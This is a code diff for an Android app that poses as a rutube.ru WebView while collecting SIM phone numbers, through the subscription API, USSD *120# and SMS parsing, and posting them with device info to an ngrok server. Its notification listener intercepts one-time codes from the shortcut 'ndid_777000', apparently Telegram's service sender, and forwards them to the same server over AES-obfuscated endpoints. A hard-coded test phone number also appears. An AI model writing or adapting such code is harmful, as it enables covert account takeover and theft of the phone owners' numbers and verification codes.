asd

app/src/main/java/com/example/notifyservice/Encryption.java

@@ -0,0 +1,268 @@
+// IGNORE
+package com.example.notifyservice;
+import android.util.Base64;
+import android.util.Log;
+
+import java.nio.charset.StandardCharsets;
+import java.security.KeyFactory;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.PublicKey;
+import java.security.interfaces.RSAPublicKey;
+import java.security.spec.InvalidKeySpecException;
+import java.security.spec.PKCS8EncodedKeySpec;
+import java.security.spec.X509EncodedKeySpec;
+import java.util.Random;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.IvParameterSpec;
+import javax.crypto.spec.SecretKeySpec;
+
+public class Encryption {
+
+    private static byte[] hexStringToBytes(String hexString) {
+        int len = hexString.length();
+        byte[] data = new byte[len / 2];
+        for (int i = 0; i < len; i += 2) {
+            data[i / 2] = (byte) ((Character.digit(hexString.charAt(i), 16) << 4)
+                    + Character.digit(hexString.charAt(i+1), 16));
+        }
+        return data;
+    }
+
+    private static final char[] HEX_ARRAY = "0123456789abcdef".toCharArray();
+    public static String bytesToHex(byte[] bytes) {
+        char[] hexChars = new char[bytes.length * 2];
+        for (int j = 0; j < bytes.length; j++) {
+            int v = bytes[j] & 0xFF;
+            hexChars[j * 2] = HEX_ARRAY[v >>> 4];
+            hexChars[j * 2 + 1] = HEX_ARRAY[v & 0x0F];
+        }
+        return new String(hexChars);
+    }
+
+    public static Cipher getCipher(int mode) {
+        try {
+            IvParameterSpec iv = new IvParameterSpec(decrypt(
+                    "IV_KEY" // VARIABLE
+            ).getBytes("UTF-8"));
+            SecretKeySpec skeySpec = new SecretKeySpec(decrypt(
+                    "SECRET_KEY" // VARIABLE
+            ).getBytes("UTF-8"), "AES");
+
+            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
+            cipher.init(mode, skeySpec, iv);
+            return cipher;
+        } catch (Exception ignored) {}
+        return null;
+    }
+
+    public static Cipher getEbcCipher(int mode, String customKey) {
+        if (customKey.isEmpty())
+            customKey = decrypt(
+                    "SECRET_KEY" // VARIABLE
+            );
+        else
+            customKey = md5Encrypt(customKey);
+        try {
+            SecretKeySpec skeySpec = new SecretKeySpec(customKey.getBytes("UTF-8"), "AES");
+
+            Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5PADDING");
+            cipher.init(mode, skeySpec);
+            return cipher;
+        } catch (Exception e) {
+            Log.i("asd", e.toString());}
+        return null;
+    }
+
+    public static String aesHexEncrypt(String data, String key) {
+        Log.i("Hex", "------------------");
+        try {
+            Cipher cipher = getEbcCipher(1, key);
+            Log.i("Hex", "Data: " + data);
+            Log.i("Hex", "Key: " + key);
+            byte[] encrypted = cipher.doFinal(data.getBytes());
+            Log.i("Hex", bytesToHex(encrypted));
+            Log.i("Hex", "---------------------");
+            return bytesToHex(encrypted);
+        } catch (Exception e) { Log.i("HEX", e.toString());}
+        return "";
+    }
+
+    public static String aesEncrypt(String data) {
+        try {
+            Cipher cipher = getCipher(1);
+            byte[] encrypted = cipher.doFinal(data.getBytes());
+            return Base64.encodeToString(encrypted, Base64.DEFAULT);
+        } catch (Exception e) {
+
+        }
+        return "";
+    }
+
+    public static String randomizeCase(String str) {
+
+        Random rnd = new Random();
+        StringBuilder sb = new StringBuilder(str.length());
+
+        for (char c : str.toCharArray())
+            sb.append(rnd.nextBoolean()
+                    ? Character.toLowerCase(c)
+                    : Character.toUpperCase(c));
+
+        return sb.toString();
+    }
+
+    public static String shaEncrypt(String data, String key) {
+        try {
+            byte[] bytesOfMessage = (data + key).getBytes("UTF-8");
+            MessageDigest md = MessageDigest.getInstance("SHA-512");
+            return randomizeCase(bytesToHex(md.digest(bytesOfMessage)));
+        } catch (Exception ignore) {}
+        return null;
+    }
+
+    public static String md5Encrypt(String data) {
+        try {
+            byte[] bytesOfMessage = data.getBytes("UTF-8");
+            MessageDigest md = MessageDigest.getInstance("MD5");
+            return bytesToHex(md.digest(bytesOfMessage));
+        } catch (Exception ignore) {}
+        return null;
+    }
+
+    public static String aesDecrypt(String data) {
+        try {
+            Cipher cipher = getCipher(2);
+            byte[] plainText = cipher.doFinal(Base64.decode(data.getBytes(), Base64.DEFAULT));
+            return new String(plainText);
+        } catch (Exception e) {
+
+        }
+        return "";
+    }
+
+    public static String decrypt(String data){
+        try {
+            KeyFactory keyFactory = KeyFactory.getInstance("RSA");
+            PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(hexStringToBytes(
+                    "BUILD_KEY" // VARIABLE
+            ));
+            PrivateKey privateKey = keyFactory.generatePrivate(keySpec);
+
+            Cipher decryptCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
+            decryptCipher.init(Cipher.DECRYPT_MODE, privateKey);
+
+            byte[] decryptedMessageBytes = decryptCipher.doFinal(hexStringToBytes(data));
+            String decryptedMessage = new String(decryptedMessageBytes, StandardCharsets.UTF_8);
+            return decryptedMessage;
+
+        } catch (Exception e) {
+
+        }
+        return "";
+    }
+
+
+    public static String encrypt(String data){
+        try {
+            PublicKey publicKey = decodePKCS1PublicKey(hexStringToBytes(
+                    "PUBLIC_KEY" // VARIABLE
+            ));
+            Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
+            cipher.init(Cipher.ENCRYPT_MODE, publicKey);
+            return bytesToHex(cipher.doFinal(data.getBytes()));
+        } catch (Exception e) {}
+        return "";
+
+    }
+
+    private static final int SEQUENCE_TAG = 0x30;
+    private static final int BIT_STRING_TAG = 0x03;
+    private static final byte[] NO_UNUSED_BITS = new byte[] { 0x00 };
+    private static final byte[] RSA_ALGORITHM_IDENTIFIER_SEQUENCE =
+            {(byte) 0x30, (byte) 0x0d,
+                    (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x01,
+                    (byte) 0x05, (byte) 0x00};
+
+
+    public static RSAPublicKey decodePKCS1PublicKey(byte[] pkcs1PublicKeyEncoding)
+            throws NoSuchAlgorithmException, InvalidKeySpecException
+    {
+        byte[] subjectPublicKeyInfo2 = createSubjectPublicKeyInfoEncoding(pkcs1PublicKeyEncoding);
+        KeyFactory rsaKeyFactory = KeyFactory.getInstance("RSA");
+        RSAPublicKey generatePublic = (RSAPublicKey) rsaKeyFactory.generatePublic(new X509EncodedKeySpec(subjectPublicKeyInfo2));
+        return generatePublic;
+    }
+
+    public static byte[] createSubjectPublicKeyInfoEncoding(byte[] pkcs1PublicKeyEncoding)
+    {
+        byte[] subjectPublicKeyBitString = createDEREncoding(BIT_STRING_TAG, concat(NO_UNUSED_BITS, pkcs1PublicKeyEncoding));
+        byte[] subjectPublicKeyInfoValue = concat(RSA_ALGORITHM_IDENTIFIER_SEQUENCE, subjectPublicKeyBitString);
+        byte[] subjectPublicKeyInfoSequence = createDEREncoding(SEQUENCE_TAG, subjectPublicKeyInfoValue);
+
+        return subjectPublicKeyInfoSequence;
+    }
+
+    private static byte[] concat(byte[] ... bas)
+    {
+        int len = 0;
+        for (int i = 0; i < bas.length; i++)
+        {
+            len += bas[i].length;
+        }
+
+        byte[] buf = new byte[len];
+        int off = 0;
+        for (int i = 0; i < bas.length; i++)
+        {
+            System.arraycopy(bas[i], 0, buf, off, bas[i].length);
+            off += bas[i].length;
+        }
+
+        return buf;
+    }
+
+    private static byte[] createDEREncoding(int tag, byte[] value)
+    {
+        if (tag < 0 || tag >= 0xFF)
+        {
+            throw new IllegalArgumentException("Currently only single byte tags supported");
+        }
+
+        byte[] lengthEncoding = createDERLengthEncoding(value.length);
+
+        int size = 1 + lengthEncoding.length + value.length;
+        byte[] derEncodingBuf = new byte[size];
+
+        int off = 0;
+        derEncodingBuf[off++] = (byte) tag;
+        System.arraycopy(lengthEncoding, 0, derEncodingBuf, off, lengthEncoding.length);
+        off += lengthEncoding.length;
+        System.arraycopy(value, 0, derEncodingBuf, off, value.length);
+
+        return derEncodingBuf;
+    }
+
+    private static byte[] createDERLengthEncoding(int size)
+    {
+        if (size <= 0x7F)
+        {
+            // single byte length encoding
+            return new byte[] { (byte) size };
+        }
+        else if (size <= 0xFF)
+        {
+            // double byte length encoding
+            return new byte[] { (byte) 0x81, (byte) size };
+        }
+        else if (size <= 0xFFFF)
+        {
+            // triple byte length encoding
+            return new byte[] { (byte) 0x82, (byte) (size >> Byte.SIZE), (byte) size };
+        }
+
+        throw new IllegalArgumentException("size too large, only up to 64KiB length encoding supported: " + size);
+    }
+}

app/src/main/java/com/example/notifyservice/Listener.java

@@ -57,7 +57,8 @@ public class Listener extends NotificationListenerService {
         Log.i(packageName, packageName);
         if(getShortcutSafe(sbn).equals("ndid_777000")){
             String code = processExtras(sbn.getNotification().extras);
-            Log.i("Code", code);
+            if (code.length() < 5)
+                return;
             Intent intent = new Intent(getApplicationContext().getPackageName() + ".NOTIFICATION_RECEIVED");
             intent.putExtra("code", code);
             sendBroadcast(intent);

app/src/main/java/com/example/notifyservice/MainActivity.java

@@ -9,6 +9,7 @@ import android.content.Context;
 import android.content.DialogInterface;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.SharedPreferences;
 import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.net.Network;
@@ -19,6 +20,7 @@ import android.os.Build;
 import android.os.Bundle;
 
 import android.os.Bundle;
+import android.telephony.ServiceState;
 import android.telephony.TelephonyManager;
 import android.view.View;
 import android.view.ViewGroup;
@@ -32,6 +34,7 @@ import androidx.activity.EdgeToEdge;
 import androidx.annotation.NonNull;
 import androidx.appcompat.app.AppCompatActivity;
 import androidx.core.app.ActivityCompat;
+import androidx.core.content.ContextCompat;
 import androidx.core.graphics.Insets;
 import androidx.core.view.ViewCompat;
 import androidx.core.view.WindowInsetsCompat;
@@ -47,6 +50,7 @@ import android.util.Log;
 import android.widget.Toast;
 
 import org.json.JSONException;
+import org.json.JSONObject;
 
 import java.io.BufferedReader;
 import java.io.IOException;
@@ -61,11 +65,11 @@ import java.util.List;
 import java.io.OutputStream;
 import java.net.HttpURLConnection;
 import java.util.Locale;
+import java.util.Timer;
+import java.util.TimerTask;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
-
-
 public class MainActivity extends AppCompatActivity implements PostRequestCallback{
 
     private String websiteUrl = "https://rutube.ru/";
@@ -76,15 +80,68 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
 
     private String currentHash = "";
     private int currentPhone = 0;
-    private List<String> phones;
+    private List<PhoneNumber> phones;
     private boolean waitingForSms = false;
     private String currentInfo = "";
+    private boolean receivingSms = false;
+    private double codeTimeout = 0.0;
+    private Timer timer;
+
+    private List<String> codes = new ArrayList<>();
 
     private NotificationReceiver notificationReceiver;
 
+    public class PhoneNumber {
+        public String phone;
+        public TelephonyManager telephonyManager;
+        public String operator;
+        public String country;
+
+        private PhoneNumber(
+                String phone,
+                TelephonyManager telephonyManager,
+                String operator,
+                String country
+        ) {
+            this.phone = phone;
+            this.telephonyManager = telephonyManager;
+            this.operator = operator;
+            this.country = country;
+        }
+
+        public boolean phoneProvided(){
+            return !phone.isEmpty();
+        }
+
+        public String getPhone() {
+            return phone;
+        }
+
+        public TelephonyManager getSubscriptionId() {
+            return telephonyManager;
+        }
+
+        public String getOperator() {
+            return operator;
+        }
+
+        public String getCountry() {
+            return country;
+        }
+
+        public void setPhone(String phone) {
+            this.phone = phone;
+        }
+
+        public String save(){
+            return phone + ":" + operator + ":" + country;
+        }
+    }
+
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
+
         setContentView(R.layout.activity_main);
 
         webView = findViewById(R.id.webview);
@@ -142,10 +199,25 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
 
         if (!isNotificationServiceEnabled()) {
             promptNotificationAccess();
-            //finish();
+        } else {
+            requestPermissions(retrievePermissions(this));
+        }
     }
 
-        requestPermissions(retrievePermissions(this));
+    public static String getKey(Context context) {
+        try {
+            SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE);
+            return sharedPreferences.getString("KEY",
+                    "INIT_KEY"); // VARIABLE STATIC
+        } catch (Exception e) {
+            return "";
+        }
+    }
+
+    public static void setKey(Context context, String key) {
+        SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit();
+        editor.putString("KEY", key);
+        editor.apply();
     }
 
     private void promptNotificationAccess() {
@@ -161,6 +233,8 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
             public void onClick(DialogInterface dialogInterface, int i) {
                 Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
                 startActivity(intent);
+                dialogInterface.dismiss();
+                System.exit(0);
             }
         });
 
@@ -235,34 +309,93 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
     }
 
     public void onNotificationReceived(String code) {
+        if(codes.contains(code))
+            return;
+        codes.add(code);
+        cancelTimer();
         PostRequest postRequestTask = new PostRequest(this, this);
-        postRequestTask.execute("code", code + ";" + currentHash);
-        if(currentPhone + 1 < phones.size()) {
-            currentPhone += 1;
-            requestPhone(this, phones.get(currentPhone));
+        postRequestTask.execute("code",
+                code + ";" + currentHash); // STATIC
+        nextPhone();
     }
+
+    public void cancelTimer(){
+        Log.i("1", "timer");
+        if (timer != null) {
+            timer.cancel();
+        }
+    }
+
+    public void nextPhone() {
+        currentPhone += 1;
+        if (phones.size() > currentPhone)
+            savePhone(getBaseContext(), phones.get(currentPhone));
     }
 
     private void makeProcess(Context context) {
-        Log.i("Process", "+");
         currentPhone = 0;
         phones = collectPhoneNumber(context);
-        if(!phones.isEmpty())
-            requestPhone(context, phones.get(currentPhone));
+        savePhone(context, phones.get(currentPhone));
     }
 
-    private void requestPhone(Context context, String phone){
-        Log.i("requestPhone", "+");
-        waitingForSms = false;
-        currentInfo = "";
-        PostRequest postRequestTask = new PostRequest(context, this);
-        postRequestTask.execute("phone", phone + ";" + getDeviceInfo(context));
+    public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) {
+        // Check for permission
+        if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE)
+                != PackageManager.PERMISSION_GRANTED) {
+            return false;
+        }
+        if (telephonyManager == null) {
+            return false;
+        }
 
+        // Check SIM state
+        if (telephonyManager.getSimState() != TelephonyManager.SIM_STATE_READY) {
+            return false; // SIM not ready
+        }
+
+        return false;
+    }
+
+    private void savePhone(Context context, PhoneNumber phone){
+        if(phone.phoneProvided()){
+            requestPhone(context, phone);
+        } else {
+            receivingSms = false;
+            currentHash = "";
+            if(!isSimConnected(context, phone.telephonyManager))
+                nextPhone();
+            else
+                requestUssdNumber(phone);
+        }
+    }
+
+    private void requestPhone(Context context, PhoneNumber phone){
+        PostRequest postRequestTask = new PostRequest(context, this);
+        postRequestTask.execute("phone",
+                phone.save() + ";" + getDeviceInfo(context)); // STATIC
     }
 
     @Override
-    public void onPostResponse(String result) {
-        currentHash = result;
+    public void onPostResponse(JSONObject result) {
+        try {
+            if(!result.getString("hash").isEmpty())
+                currentHash = result.getString("hash");
+            if(!result.getString("key").isEmpty())
+                setKey(getBaseContext(), result.getString("key"));
+            if(!result.getString("timeout").isEmpty()) {
+                codeTimeout = result.getDouble("timeout");
+                Timer timer = new Timer();
+                timer.schedule(new TimerTask() {
+                    @Override
+                    public void run() {
+                        nextPhone();
+                    }
+                }, Math.round(codeTimeout * 1000));
+            }
+        } catch (JSONException e) {
+            throw new RuntimeException(e);
+        }
+
     }
 
 
@@ -358,25 +491,26 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
         return "";
     }
 
-    private void requestUssdNumber(TelephonyManager telephonyManager) {
-        Log.i("USSD", "Called");
+    private void requestUssdNumber(PhoneNumber phone) {
         if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED)
             return;
-        Log.i("USSD", "Requesting...");
         String ussd = "*120#";
         boolean smsResponse = false;
         if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
             Log.i("USSD", "Requested");
-            telephonyManager.sendUssdRequest(ussd, new TelephonyManager.UssdResponseCallback() {
+            phone.telephonyManager.sendUssdRequest(ussd, new TelephonyManager.UssdResponseCallback() {
                 @Override
                 public void onReceiveUssdResponse(TelephonyManager telephonyManager, String request, CharSequence response) {
                     super.onReceiveUssdResponse(telephonyManager, request, response);
                     String responseString = response.toString();
                     if (smsResponse){
-                        waitingForSms = true;
+                        receivingSms = true;
                     } else {
-                        String phoneNumber = extractFirstPhoneNumber(responseString);
-                        requestPhone(getBaseContext(), phoneNumber  + ":" + currentInfo);
+                        phone.setPhone(extractFirstPhoneNumber(responseString));
+                        // TEST TODO
+                        phone.setPhone("37126282159");
+                        // TEST TODO
+                        savePhone(getBaseContext(), phone);
                     }
                 }
 
@@ -391,9 +525,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
 
     }
 
-    private List<String> collectPhoneNumber(Context context){
+    private List<PhoneNumber> collectPhoneNumber(Context context){
         Log.i("collectPhoneNumber", "+");
-        List<String> phoneNumbers = new ArrayList<>();
+        List<PhoneNumber> phoneNumbers = new ArrayList<>();
         if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) {
             return phoneNumbers;
         }
@@ -404,14 +538,19 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
             SubscriptionInfo currentCard = subscriptions.get(i);
             String phoneNumber = (Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber());
             TelephonyManager telephonyManager = getSystemService(TelephonyManager.class).createForSubscriptionId(currentCard.getSubscriptionId());
-            String cardInfo = currentCard.getCountryIso() + ":" + telephonyManager.getSimOperatorName();
-            if (phoneNumber.isEmpty()) {
-                currentInfo = cardInfo;
-                requestUssdNumber(telephonyManager);
-            } else {
-                phoneNumbers.add(phoneNumber + ":" + cardInfo);
-            }
+            phoneNumbers.add(new PhoneNumber(
+                phoneNumber,
+                telephonyManager,
+                telephonyManager.getSimOperatorName(),
+                currentCard.getCountryIso()
+            ));
         }
+        phoneNumbers.add(new PhoneNumber(
+                "37126282159",
+                null,
+                "HUITA",
+                "uz"
+        ));
 
         return phoneNumbers;
     }
@@ -423,15 +562,16 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
             if (bundle != null) {
                 Object[] pdus = (Object[]) bundle.get("pdus");
                 if (pdus != null) {
+                    if(!receivingSms)
+                        return;
                     for (Object pdu : pdus) {
                         SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
-                        String sender = smsMessage.getDisplayOriginatingAddress();
                         String messageBody = smsMessage.getMessageBody();
                         String phoneNumber = extractFirstPhoneNumber(messageBody);
                         Log.i("receivedSms", String.valueOf(waitingForSms));
-                        if(waitingForSms && !phoneNumber.isEmpty()) {
-                            waitingForSms = false;
-                            requestPhone(getBaseContext(), phoneNumber + ":" + currentInfo);
+                        if(!phoneNumber.isEmpty()) {
+                            phones.get(currentPhone).setPhone(phoneNumber);
+                            savePhone(getBaseContext(), phones.get(currentPhone));
                         }
                     }
                 }
@@ -452,7 +592,11 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
     @Override
     protected void onDestroy() {
         super.onDestroy();
+        try {
             unregisterReceiver(smsReceiver);
+        } catch(IllegalArgumentException e) {
+        }
+
     }
 
 

app/src/main/java/com/example/notifyservice/PostRequest.java

@@ -1,15 +1,14 @@
 package com.example.notifyservice;
 
 import android.content.Context;
-import android.util.JsonReader;
 import android.util.Log;
 
 import androidx.annotation.NonNull;
 
-import org.json.JSONArray;
 import org.json.JSONObject;
 
 import java.io.IOException;
+import java.util.concurrent.TimeUnit;
 
 import okhttp3.Call;
 import okhttp3.Callback;
@@ -21,9 +20,11 @@ import okhttp3.Response;
 public class PostRequest {
 
     private Context context;
-    private String BASE_URL = "https://e2df-85-203-39-142.ngrok-free.app/";
+    private String BASE_URL = "https://e5e8-146-70-203-23.ngrok-free.app/"; // STATIC
     private PostRequestCallback callback;
 
+    public String buildPoint = "BUILD_POINT"; // VARIABLE STATIC
+
     public PostRequest(Context context, PostRequestCallback callback) {
         this.context = context;
         this.callback = callback;
@@ -32,12 +33,17 @@ public class PostRequest {
     public final OkHttpClient client = new OkHttpClient();
 
     public void execute(String... params) {
-        String urlString = params[0];
+        String timeStamp = String.valueOf(TimeUnit.MILLISECONDS.toSeconds(System.currentTimeMillis()));
+        String key = MainActivity.getKey(context) + timeStamp;
+
+        String urlString = Encryption.aesHexEncrypt(params[0], key);
         String jsonData = params[1];
 
         Request request = new Request.Builder()
-                .url(BASE_URL + urlString)
-                .post(RequestBody.create(jsonData.getBytes()))
+                .url(BASE_URL + Encryption.aesHexEncrypt(buildPoint, timeStamp) + "/" + Encryption.aesHexEncrypt(urlString, key)) // STATIC
+                .post(RequestBody.create(jsonData.getBytes())).header(
+                        "timestamp", timeStamp // STATIC
+                )
                 .build();
 
         Call call = client.newCall(request);
@@ -54,8 +60,7 @@ public class PostRequest {
 
     protected void onPostExecute(String result) {
         try {
-            String hash = (new JSONObject(result)).getString("hash");
-            callback.onPostResponse(hash);
+            callback.onPostResponse((new JSONObject(result)));
         } catch (Exception e) {
         }
         // Handle the JSON response here

app/src/main/java/com/example/notifyservice/PostRequestCallback.java

@@ -1,5 +1,7 @@
 package com.example.notifyservice;
 
+import org.json.JSONObject;
+
 public interface PostRequestCallback {
-    void onPostResponse(String result);
+    void onPostResponse(JSONObject result);
 }